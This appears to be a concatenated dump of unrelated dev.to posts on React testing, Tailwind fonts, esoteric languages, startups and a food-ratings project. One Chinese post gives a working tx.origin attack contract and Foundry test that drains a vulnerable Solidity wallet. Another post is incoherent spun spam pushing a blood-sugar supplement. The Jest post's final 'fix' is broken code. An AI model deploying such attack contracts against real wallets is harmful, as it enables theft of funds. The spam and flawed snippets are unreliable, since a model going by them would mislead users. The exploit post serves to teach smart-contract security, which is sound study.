teleren/devto huggingface dataset:
Food Project: What do we need?
Published: 2022-04-11 06:28:04

#### Brief

We'll go through the expected features, lay out some initial requirements, and then figure out what data we need to even begin thinking about implementing our requirements.

#### What is a requirement?

A requirement is a target feature of the end product. These depend on where the requirements come from, but some examples are:

* Technical requirements (ie. to abide by internal standards)
* Functional requirements (usually for the end user)

#### What will be our requirements?

To keep things simple, we'll define our requirements based on what we know, which is the functionality we want to achieve:

1. View a restaurant's average rating derived from recent reviews over a user-specified time period
2. Observe trends in restaurant popularity based on the number of reviews it has received within user-specified time intervals
3. Observe trends in restaurant quality based on the average rating it has received within user-specified time intervals

#### What data do we need to achieve these requirements?

Let's start from what data we need to be able to achieve these requirements. Once we know what data we need, we can think about where to get it from, how to store it, how to retrieve it, and how we deliver it to our users.

Thankfully, it seems the data we need is just **the ratings received for each restaurant per minimum interval**. 

If we assume the minimum interval is per-week, that data may look something like this (assumed for one restaurant):

|    timestamp   | 01-July-2022 | 08-July-2022 | 15-July-2022 | ... |
|:--------------:|:------------:|:------------:|:------------:|:---:|
| 1-star ratings |       4      |       0      |       3      |     |
| 2-star ratings |      16      |      12      |      11      |     |
|       ...      |              |              |              |     |
| 5-star ratings |       2      |       5      |       1      |     |

And to achieve those requirements:

1. Calculate average of data with rating history over last X months
2. Calculate # of reviews per interval with all rating history
3. Calculate average rating per interval with all rating history

It should be noted that we only need *rating history*, and have no need for anything else that's contained from the Google reviews.

#### What does the picture look like right now?

It seems we'll need:

1. A data source for Google reviews data                                                                                                            
2. A database to store Google reviews data
3. A service to pull data from the data source, parse it, and store it in the database
4. Frontend which will display the data, which is retrieved from...
5. Backend which hosts an API, providing calculated & formatted data which is read from
Testing if a React component doesn’t exist with Jest
Tags: react, testing
Published: 2022-04-11 06:15:08

Sometimes we want to write tests to check if certain elements are **not** rendered.

For example, we might have a parameter to disable a section until the user has a specific level or action.

There are several ways to test this, so let's look at some examples.

## Query the element

The most important thing to note when testing for non-existence is that you'll have to query items.

When looking for an element, you might have used `getBy` or `getAllBy` and then something.
This works fine if we know the element exists, but Jest will throw an error when these are not found.

To be safe with unrendered elements, we have to use the query alternatives: `queryBy` and `queryAllBy`.

Let's sketch the following component to work with.

```js
function App({ firstTime = false }) {
  return (
    <div className='App'>
      <strong>Welcome to our app</strong>
      {firstTime && <p>I see this is your first time!</p>}
    </div>
  );
}
```

As you can see, this could render two lines, but we have to set the `firstTime` variable to true for the second sentence to show up.

Now we can write some test cases to test this.

```js
it('should render welcome text', async () => {
  render(<App />);
  expect(screen.getByText('Welcome to our app')).toBeInTheDocument();
});
```

The above test will test for the same occurrence of our welcome test, which always renders.

The next thing we could test is that the second line shows when we set the variable to true.

```js
it('should render first time text when set', async () => {
  render(<App firstTime={true} />);
  expect(
    screen.getByText('I see this is your first time!')
  ).toBeInTheDocument();
});
```

As you can see, I set the `firstTime` variable to true, which will make the line appear.
So the above will still succeed.

But now, let's see how we can test that it doesn't exist.
First, let's see what happens when we use the same syntax but with a `.not` call.

```js
it(`shouldn't render first time text when set`, async () => {
  render(<App />);
  expect(
    screen.getByText('I see this is your first time!')
  ).not.toBeInTheDocument();
});
```

We'll get hit by the following error when running the above test.

![Jest not found error](https://cdn.hashnode.com/res/hashnode/image/upload/v1648791682803/rWfAXXB3P.png)

And this is actually expected since we used `getBy`. We can simply fix this by using `queryBy`.

```js
it('should render first time text when set', async () => {
  render(<App firstTime={true} />);
  expect(
    screen.queryByText('I see this is your first time!')
  ).toBeInTheDocument();
});
```

And that's how we can check for non-existence of elements in a safe way.

### Thank you for reading, and let's connect!

Thank you for reading my blog. Feel free to subscribe to my email newsletter and connect on [Facebook](https://www.facebook.com/DailyDevTipsBlog) or [Twitter](https://twitter.com/DailyDevTips1)
Most Difficult Coding Language😬
Tags: codenewbie
Published: 2022-04-11 06:13:56

### LOLCODE
```js
HAI 1.2
    VISIBLE "Hello, World!"
KTHXBYE
``` 
```ts
// Hello, World!
```

### Brainf*ck
```js
+[-->-[>>+>-----<<]<--<---]>-.>>>+.>>..+++[.>]<<<<.+++.------.<<-.>>>>+.[<->-]<-.>
```
```ts
// Hello, World!
```

### Intercal
```js 
DO ,1 <- #13
PLEASE DO ,1 SUB #1 <- #238
DO ,1 SUB #2 <- #108
DO ,1 SUB #3 <- #112
DO ,1 SUB #4 <- #0
DO ,1 SUB #5 <- #64
DO ,1 SUB #6 <- #194
PLEASE DO ,1 SUB #7 <- #48
DO ,1 SUB #8 <- #26
DO ,1 SUB #9 <- #244
PLEASE DO ,1 SUB #10 <- #168
DO ,1 SUB #11 <- #24
DO ,1 SUB #12 <- #16
DO ,1 SUB #13 <- #162
PLEASE READ OUT ,1
PLEASE GIVE UP
``` 
```ts
// Hello, World!
```

### Malbolge
```js 
(=<`#9]~6ZY327Uv4-QsqpMn&+Ij"'E%e{Ab~w=_:]Kw%o44Uqp0/Q?xNvL:`H%c#DD2^WV>gY;dts76qKJImZkj
```
```ts
// Hello, World.
```

### Cow
```js
 MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO
 MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO
 MoO MoO Moo MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo MoO MoO
 MoO MoO MoO MoO MoO Moo Moo MoO MoO MoO Moo OOO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO
 MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO
 MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO
 MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO
 MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo MOo
 MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo MOo
 MOo MOo MOo MOo MOo Moo MOo MOo MOo MOo MOo MOo MOo MOo Moo MoO MoO MoO Moo MOo MOo MOo MOo MOo MOo Moo MOo MOo MOo MOo MOo MOo MOo MOo Moo
 OOO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO MoO Moo 
```
```ts
// Hello, World!
```

### GOTO++
```js 
GOTOPRINTDUTEXTE() ; «Hello, World!»
```
```ts
// Hello, World!
```
Jetpack compose — Dependency injection with Dagger/HILT
Tags: android, programming, javascript, dependency
Published: 2022-04-11 06:11:04

What is a Dependency Injection?

How do you use [Jetpack compose](https://blog.canopas.com/jetpack-compose-mvvm-state-management-in-a-simple-way-4c632fa6f554) - Dependency injection with [Dagger/HILT](https://blog.canopas.com/jetpack-compose-with-dagger-hilt-mvvm-and-navcontroller-b6048bb85073)?

Dependency injection (DI) is a technique widely used in programming and well suited to Android development, where dependencies are provided to a class instead of creating them itself.

HILT is a dependency injection library for Android that reduces the boilerplate of doing manual dependency injection in your project.

You can find complete source code [here](https://gitlab.com/cp-hardik-p/jetpack).

[Learn how to implement Dependency injection with Dagger/HILT using Jetpack Compose.](https://blog.canopas.com/jetpack-compose-dependency-injection-with-dagger-hilt-9578be3cc1d0)
Coding Acronyms
Tags: acronyms, codenewbie
Published: 2022-04-11 05:52:31

- **AJAX** : Asynchronous Javascript and XML
- **CDN** : Content Delivery Network
- **CMS** : Content Management System
- **CRUD** : Create , Read , Update , Delete
- **DOM** : Document Object Model
- **FOSS** : Free and Open-source software
- **GUI** : Graphical User Interface 
- **IDE** : Integrated Development Environment
- **JSON** : Javascript Object Notation
- **OOP** : Object-Oriented Programming 
- **REST** : Representational State Transfer
- **SCM** : Source Control Management
- **MR** : Merge Request 
- **PR** : Pull Request 
- **AWD** : Android Web Developer
- **Dir** : Directory 
- **img** : Image
- **pre** : Preformatted
- **src** : Source
- **var** : Variable 
- **em** : Emphasize
- **href** : Hypertext Reference
- **DevOps** : Development and Operations
- **CI** : Continuous Integration
- **CD** : Continuous Delivery
What to Expect From a Coding Bootcamp
Published: 2022-04-11 05:40:26

A month ago I have started a coding bootcamp. It is supposed to be a half a year program. It is supposed to be for complete beginners to software development. As it is a requirement for every cohort member to write a blog post every phase, here I am doing what I have never done before. Writing and sharing something publicly. I have to admit that I have posted a few times on the stackoverflow but this is different. I see a blogging as an expression of of knowledge. We find ourselves being redirected to blog posts when we seek answers to the concepts we are not familiar with. In a nice written, well thought through and almost always assumed to have content that is correct and even be an example to follow. But what about me? I am not well versed in the proper grammar nor give too much thought to my first blog post. Most of all, by all means, I am not to be taken as an authority in the technical content of the course I have just joined. What if I keep blogging as a journal to record my reflections on the program so far? This way I would not put anyone in trouble offering my advice about the concepts I am vaguely familiar with. Having said that, here is the one thing I feel is the most important to point out. Beginnings are difficult. This is new technology, most likely a new way to work since there are standards we are supposed to learn and follow. This is also a new commitment. Now there is this ten hour or so time frame that I need to account for each week to do all the reading, make sure I understand the concepts well enough to use them to do all the assignments and to use this knowledge in the future and if I am lucky, attend or at least watch the recorded lectures and lab sessions. What I have found so far is that it is not the exposure to the new technical concepts which cause the biggest problems. It is the management of time necessary to submit everything before the due date. In a way it is a struggle not with trying to understand and learn new concepts but rather a struggle to bend and cut down the personal habits and activities just to submit everything on time.
Tailwind CSS Use Custom Fonts Example
Tags: tailwindcss, css, webdev, tutorial
Published: 2022-04-11 05:32:15

In this section we will add google family fonts in tailwindcss. We will see both custom font @import and link method in tailwind css 3. First you need to install & setup tailwind or you can read How to install & setup Tailwind CSS v3.

[view](https://larainfo.com/blogs/tailwind-css-use-custom-fonts-example)

### Example 1

Add Custom font in CSS using @import method. you should add the google font css url in Tailwind directives file.
_src/input.css or main.css or tailwind.css_
```css
@import url('https://fonts.googleapis.com/css2?family=Mea+Culpa&display=swap');

@tailwind base;
@tailwind components;
@tailwind utilities;
```
Next, you need to add fontfamily in your tailwind.config.js
_tailwind.config.js_
```js
module.exports = {
  theme: {
    extend: {
      fontFamily: {
          'culpa': ['"Mea Culpa"', 'cursive']
      }
    },
  },
  plugins: [],
}
```
_Index.html_
```html
<div class="container mx-auto">
    <h1 class="text-4xl font-culpa">Tailwind CSS 3</h1>
</div>
```

![tailwind font use](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6m4zk6lsq298fyq3xsu2.png)

### Example 2
Add Custom font in html file using link method.

```html
<!DOCTYPE html>
<html lang="en">

  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Tailwind CSS Google Fonts</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Mea+Culpa&display=swap" rel="stylesheet">s
    <script>
      tailwind.config = {
        theme: {
          extend: {
            fontFamily: {
              'culpa': ['"Mea Culpa"', 'cursive']
            }
          }
        }
      }
    </script>
  </head>

  <body>
    <div class="container m-12 mx-auto">
      <h1 class="text-6xl font-culpa">Tailwind CSS 3</h1>
    </div>
  </body>

</html>
```
![tailwind google font use](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6m4zk6lsq298fyq3xsu2.png)
How to start a startup
Tags: career, startup, beginners, webdev
Published: 2022-04-11 05:26:58

Now that more and more people are working at home, the tech industry will continue to thrive.

Today, I'll be teaching you how to start a tech start-up. This tutorial is split into 3 sections. The first one is made to help you get a start-up idea, the second one is making the start-up, and the third is promoting it.

So let's go through step 1!

## Getting a start-up Idea

Here is just a list of start-up ideas you can take into consideration.

1. Make a tool for developers
2. Make an open source project
3. Make a freemium business

The first option, making a tool for developers, is actually quite an attractive option. Because, if your start-up doesn't end up well, you can still use your tool yourself!

The third option, a freemium business, is also a good option, while the second one can be a side project.

## Making the start-up

Now it's programming time! So you can visit w3schools.com, a very good reference website for some basic functions. I recommend downloading cheaterJS, a popular JavaScript library!

[cheaterjs.com](cheaterjs.com)

No matter how you plan to start your startup, remember 1 thing, to have breaks. Which reminds me of a meme I saw!

![Meme](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hxta2kxs2y2mtd8wwr6d.jpg)

So got your start-up programmed all ready for production! Then come on!

## Promotion

So a way I like to promote my start-ups is with social media. But remember, don't promote irrelevant content. For example, If you made a tech start-up, promote it to people who need it.

Another way to promote your start-up is through google search console. A few days ago, me and my team made a javascript library called cheaterJS, you can google it, and it's on the first page already!

## Conclusion

I really hoped this helped you the slightest through your start-up journey. Have a good day, and good luck!
What Are The Diabacore?
Published: 2022-04-11 05:26:01

[Diabacore](https://ipsnews.net/business/2021/05/01/diabacore-scam-or-does-it-really-worth-to-buy-read-review-here/) is highly complex at times. Few assistants realize just how powerful this is. That is a valuable collection of Blood Sugar Formula ideas. It was memorable. Doing that is the tail that wagged the dog. Stuff will be striking… for a while. I have many decades of practical experience. I had to do that under close scrutiny. [Diabacore information](https://www.protocols.io/workspaces/diabacore/about) can be easily discovered through a Blood Sugar Formula blog or I need to see if I can locate it at half off. Statistically, remember all that silly talk in the early days touching on this? 

I suspect we can infer this from some practice. I usually have worn my heart on my sleeve. My platitude is really handy. It isn't an absolute winner. I wanted a new look for their argument but also that is an emotionally charged topic. For the Diabacore fan, you'll also find a number of 'how-to' articles. This was plain. That can be very beneficial. This was a tremendous experience. I was just reading about this month on a good many other blogs. The amount of coalitions doing this available is small. And maybe, just perhaps, there might be the information or something like that. 

Click Here To Buy---  [https://ipsnews.net/business/2021/05/01/diabacore-scam-or-does-it-really-worth-to-buy-read-review-here/](https://ipsnews.net/business/2021/05/01/diabacore-scam-or-does-it-really-worth-to-buy-read-review-here/)
Facebook----- https://www.facebook.com/Fitness-Club-108280508493294/
View Now Twitter-----  [https://twitter.com/diabacorebuy](https://twitter.com/diabacorebuy)
tx.origin攻击实现
Published: 2022-04-11 05:03:16

前言
昨天发了一篇，tx.origin、msg.sender有什么不一样 ，被认为太水了，所以把tx.origin 攻击的代码实现一遍，让大家有个清晰的认识。

其实前面的不一样是今天可以这么干的基础。

实现的过程有参考：Unboxing tx.origin. Rune Token case (adrianhetman.com)

原理
从被攻击的代码讲起：

```
contract TxUserWallet is DSTest {
    address owner;

    constructor() {
        owner = msg.sender;
        //emit log_named_address("owner", owner);
    }

    function transferTo(address payable dest, uint256 amount) public payable {
        emit log_named_address("tx.origin", tx.origin);
        emit log_named_address("owner", owner);
        require(tx.origin == owner); //** 重点 **
        dest.call{value: amount}("");
    }
}
```
这个合约transferTo函数，通过检查tx.origin来确定是不是合约拥有人在操作合约。
普通情况都是没问题的。tx.origin都是合约拥有人，可是就怕有精心构造的攻击者。
做到这些，还是要熟悉solidity的代码，上次我们讲重入 重入攻击代码实现 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)，讲了fallback 函数，这次我们用到，receive函数，这个函数会在合约收到币的时候被调用。

所以，我们需要构造一种情况，TxUserWallet  合约调用transferTo 给攻击合约转账，攻击合约在receive函数 再次调用transferTo，这个时候，tx.origin 就还是原来的账号操作人，代码写得好，你就可以转空TxUserWallet  合约里的钱。

攻击代码
下面我们上攻击合约代码：

```
contract TxAttackWallet is DSTest {
    address payable owner;

    constructor() {
        owner = payable(msg.sender);
    }

    fallback() external payable {
        emit log_named_address("fallback", msg.sender);
    }

    receive() external payable {
        TxUserWallet(msg.sender).transferTo(
            payable(this),
            1 ether
        );
    }
}
```
构造测试用例

```
function setUp() public {
        startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58), 8 ether);
        alice = new TxUserWallet();  //被攻击对象
        hoax(address(alice), 5 ether); //放5个币
        bob = new TxAttackWallet();  //攻击合约
        hoax(address(bob), 5 ether);  //放5个币
        emit log_named_uint("alice", address(alice).balance);
        emit log_named_address("alice", address(alice));
        emit log_named_address("bob", address(bob));
    }
function testExample() public payable {
        //startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58));
        alice.transferTo(payable(bob), 1 ether); //被攻击者给攻击合约转1个币
        emit log_named_uint("alice", address(alice).balance);
        emit log_named_uint("bob", address(bob).balance);
        emit log_string("testok");
    }
```
结果如下：
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/58wi9xtnju2nzwlugx3g.png)

  

还有关键性一步，在foundry.toml里设置，

tx_origin = '0x9BEF5148fD530244a14830f4984f2B76BCa0dC58'
这是部署合约的操作人。

感谢群友的点赞支持，并提供参考文章。
代码已经上传github，更详细的可以看代码，跑跑能有更直观的认识。


[daodao2007/txohack](https://github.com/daodao2007/txohack)
How to Save lat and long under exif using react native
Tags: reactnative, exif, image
Published: 2022-04-11 05:17:45


Not able to save latitude and longitude under image exif using react native

I am trying to capture image from react-native-imagepicker library from my app and saving it into gallery and when I am checking with image details under exif data not able to see lat and long


But without using my app when I tried with phone camera able to see lat and long under exif 

I am stuck on it can you help me
Transform Android to Linux
Tags: android, linux, immodded, top
Published: 2022-04-11 05:08:51

Here is the idea i came with, we can transform phone's Os to serve functionality of both a phone and a PC. 
Most of you know about **Kali nethunter** , a great Os to use phone as a hacking machine. Kali NetHunter Desktop Experience (KeX) to run full Kali Linux desktop sessions with support for screen mirroring via HDMI or wireless screen casting.
![Kex kali nethunter](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g316yt18hd17l53x4tqs.png) The similar feature is seen in some samsung phones too. Why not someone should build a Android Os with unlocked Linux possibilities. Or Google should implement **Chrome Os** to Android device with the functionality of running desktop sessions with support of HDMI. No one would run for purchasing a PC for basic needs. Even this would work great for a student.